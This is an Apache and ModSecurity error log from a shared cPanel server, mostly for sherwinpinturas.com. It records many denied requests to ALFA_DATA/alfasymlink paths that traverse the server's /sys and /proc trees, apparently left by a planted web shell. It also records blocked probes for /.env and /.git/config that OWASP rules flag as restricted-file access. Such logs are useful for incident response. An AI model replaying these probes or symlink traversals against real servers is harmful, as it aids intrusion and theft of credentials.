[Sat Oct 24 12:21:58.229671 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 18.235.158.19:23554] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:22:05.821816 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 185.191.171.14:57832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objects
[Sat Oct 24 12:22:12.313883 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 185.191.171.3:22232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/hwcache_align
[Sat Oct 24 12:22:14.181758 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.215.77.19:47673] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:22:18.183428 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 3.210.223.61:59375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/8250_lpss/remove_id
[Sat Oct 24 12:22:26.168925 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.45.92.83:2938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:22:31.209664 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.94.40.182:63646] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:22:34.173649 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.93.211.16:62880] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:22:42.299321 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 100.29.34.97:8494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:22:50.271496 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.213.85.234:18874] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:23:02.337735 2026] [security2:error] [pid 2627273:tid 2627273] [client 52.45.29.57:20891] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/drm/controlD64/power/"] [unique_id "atzbZhdOhHN-18IxgZKtGwAAAAY"]
[Sat Oct 24 12:23:02.337791 2026] [security2:error] [pid 2627273:tid 2627273] [client 52.45.29.57:20891] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/drm/controlD64/power/"] [unique_id "atzbZhdOhHN-18IxgZKtGwAAAAY"]
[Sat Oct 24 12:23:06.461441 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 3.215.59.93:59185] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1b/subsystem/drivers_probe
[Sat Oct 24 12:23:10.288078 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.212.219.113:2784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:23:17.288551 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.9:16932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:23:18.239501 2026] [ssl:error] [pid 2653691:tid 2653691] (5)Input/output error: [client 52.3.127.170:23339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:23:30.388737 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 23.21.179.120:1086] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:23:35.151320 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.202.52.82:26966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:23:48.536652 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 85.208.96.195:60016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/usersize
[Sat Oct 24 12:24:02.603913 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.4.229.9:61075] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:24:06.465945 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.70.209.13:8456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:24:06.466148 2026] [security2:error] [pid 2666873:tid 2666873] [client 52.70.209.13:8456] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input4/event2/device/uevent"] [unique_id "atzbpqpyxzGTDP3At0pyUgAAAAc"]
[Sat Oct 24 12:24:06.466206 2026] [security2:error] [pid 2666873:tid 2666873] [client 52.70.209.13:8456] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input4/event2/device/uevent"] [unique_id "atzbpqpyxzGTDP3At0pyUgAAAAc"]
[Sat Oct 24 12:24:14.577399 2026] [ssl:error] [pid 2653683:tid 2653683] (6)No such device or address: [client 52.204.37.237:26034] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:24:18.457903 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.216.227.216:51308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:24:26.462458 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 23.23.214.190:38722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/driver/bind
[Sat Oct 24 12:24:30.415642 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.201.155.215:60182] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:24:34.316763 2026] [security2:error] [pid 2666873:tid 2666873] [client 172.71.119.18:10066] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzbwqpyxzGTDP3At0pyUwAAAAc"]
[Sat Oct 24 12:24:34.317026 2026] [security2:error] [pid 2666873:tid 2666873] [client 172.71.119.18:10066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzbwqpyxzGTDP3At0pyUwAAAAc"]
[Sat Oct 24 12:24:34.317385 2026] [security2:error] [pid 2666873:tid 2666873] [client 172.71.119.18:10066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzbwqpyxzGTDP3At0pyUwAAAAc"]
[Sat Oct 24 12:24:34.468317 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.192.125.239:6912] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:25:02.660193 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.212.86.97:64080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:25:14.651348 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.210.213.220:14018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:25:26.569086 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 100.28.204.82:9012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/resource0
[Sat Oct 24 12:25:30.769090 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 184.72.84.154:31775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:25:32.357326 2026] [security2:error] [pid 2661978:tid 2661978] [client 185.191.171.9:34782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/grub/i386-pc/ufs1_be.mod"] [unique_id "atzb_Fb2-c1qsZ5qYR4ALQAAAAM"]
[Sat Oct 24 12:25:32.357366 2026] [security2:error] [pid 2661978:tid 2661978] [client 185.191.171.9:34782] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/grub/i386-pc/ufs1_be.mod"] [unique_id "atzb_Fb2-c1qsZ5qYR4ALQAAAAM"]
[Sat Oct 24 12:25:35.321421 2026] [security2:error] [pid 2666873:tid 2666873] [client 130.12.180.171:55854] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzb_6pyxzGTDP3At0pyVQAAAAc"]
[Sat Oct 24 12:25:35.321791 2026] [security2:error] [pid 2666873:tid 2666873] [client 130.12.180.171:55854] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzb_6pyxzGTDP3At0pyVQAAAAc"]
[Sat Oct 24 12:25:35.322110 2026] [security2:error] [pid 2666873:tid 2666873] [client 130.12.180.171:55854] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzb_6pyxzGTDP3At0pyVQAAAAc"]
[Sat Oct 24 12:25:50.763911 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 34.193.2.57:16016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/partial
[Sat Oct 24 12:25:54.795183 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.219.81.66:21257] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:02.847071 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 184.73.47.24:64887] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:06.873830 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.224.104.67:22306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:10.766995 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.93.253.174:24218] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:14.672173 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.13:45612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/shrink
[Sat Oct 24 12:26:14.765231 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 54.159.18.27:48343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:18.653102 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.54.157.23:65287] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:22.826361 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.163.169.168:11161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:38.730650 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.220.70.171:13747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:46.864895 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.22.105.143:38860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:26:48.791074 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.11:27060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/align
[Sat Oct 24 12:26:54.711906 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.231.118.144:12271] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:27:04.099606 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.225.138.57:39209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:27:06.976851 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.225.45.252:64380] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:27:15.526545 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 100.29.63.24:50033] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:27:26.926466 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.225.9.97:44262] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:27:31.304275 2026] [security2:error] [pid 2661974:tid 2661974] [client 52.86.121.32:38724] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/oniguruma/index.html"] [unique_id "atzcc1J_jwyaxTk3PFs1HAAAAAE"]
[Sat Oct 24 12:27:31.304319 2026] [security2:error] [pid 2661974:tid 2661974] [client 52.86.121.32:38724] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/oniguruma/index.html"] [unique_id "atzcc1J_jwyaxTk3PFs1HAAAAAE"]
[Sat Oct 24 12:27:54.929667 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.217.255.167:27132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:27:58.855904 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.236.135.14:54488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:00.569442 2026] [authz_core:error] [pid 2653683:tid 2653683] [client 94.154.43.187:59924] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 12:28:07.129352 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 44.221.227.90:34134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ehci-pci/uevent
[Sat Oct 24 12:28:11.013278 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.84.147.79:4375] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:19.123470 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.204.253.129:4284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:31.023464 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 100.28.118.16:1776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:34.932077 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 23.21.148.226:7022] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:38.949125 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.229.164.203:47128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:47.047167 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.217.171.106:1110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:50.990779 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.204.89.12:34811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:28:50.990949 2026] [security2:error] [pid 2635677:tid 2635677] [client 52.204.89.12:34811] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/path"] [unique_id "atzcwoWurp-t0SwAQgRrzgAAAAQ"]
[Sat Oct 24 12:28:50.990983 2026] [security2:error] [pid 2635677:tid 2635677] [client 52.204.89.12:34811] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/path"] [unique_id "atzcwoWurp-t0SwAQgRrzgAAAAQ"]
[Sat Oct 24 12:28:59.214628 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.227.180.70:50455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:29:03.263988 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.199.252.22:11461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:29:07.156920 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.217.255.167:57960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:29:27.055294 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.213.240.226:28817] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:29:35.282018 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.234.197.175:16517] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:29:39.556092 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 54.225.81.20:52658] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:29:40.978987 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 185.191.171.17:53876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/validate
[Sat Oct 24 12:29:43.140971 2026] [ssl:error] [pid 2653689:tid 2653689] (22)Invalid argument: [client 52.45.15.233:28110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:29:43.998016 2026] [security2:error] [pid 2653691:tid 2653691] [client 43.155.188.157:57072] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "atzc9wg8t6UDSRTNwJOXGwAAABc"]
[Sat Oct 24 12:29:48.522895 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 18.211.39.188:60810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty32/subsystem/tty7/subsystem/ttyS3/flags
[Sat Oct 24 12:29:51.311942 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.0.105.244:42977] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:03.253046 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.83.56.1:44627] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:05.292391 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 85.208.96.198:34806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:11.341301 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.85.109.140:11912] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:20.022260 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 107.22.208.39:3461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:23.513329 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.156.124.2:34303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:27.292596 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.94.157.25:18669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:31.785743 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.45.15.233:6910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:35.572620 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 34.203.111.15:47747] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/remove
[Sat Oct 24 12:30:39.533498 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 35.173.18.61:42105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:47.318949 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.221.244.28:39748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:55.331823 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 18.208.11.93:27586] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:30:59.619244 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 44.205.192.249:55900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:03.592936 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 98.80.130.239:64963] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:07.857898 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 23.21.204.95:17084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:15.381043 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.94.157.25:10645] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:19.397053 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.83.226.125:37660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:23.606731 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.231.45.47:23100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:27.489594 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 44.223.232.55:45497] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/drivers/ac/bind
[Sat Oct 24 12:31:31.512277 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.216.227.216:35382] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:35.665346 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 44.205.120.22:29557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory16/subsystem/devices/memory6/node0/cpu0/crash_notes
[Sat Oct 24 12:31:39.528497 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 107.20.255.194:41192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:43.539600 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.232.82.72:62759] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:55.600257 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.21.175.228:28302] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:31:59.474412 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.229.2.217:38711] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:32:00.889283 2026] [security2:error] [pid 2666873:tid 2666873] [client 130.12.180.170:18868] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzdgKpyxzGTDP3At0pyZAAAAAc"]
[Sat Oct 24 12:32:00.889595 2026] [security2:error] [pid 2666873:tid 2666873] [client 130.12.180.170:18868] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzdgKpyxzGTDP3At0pyZAAAAAc"]
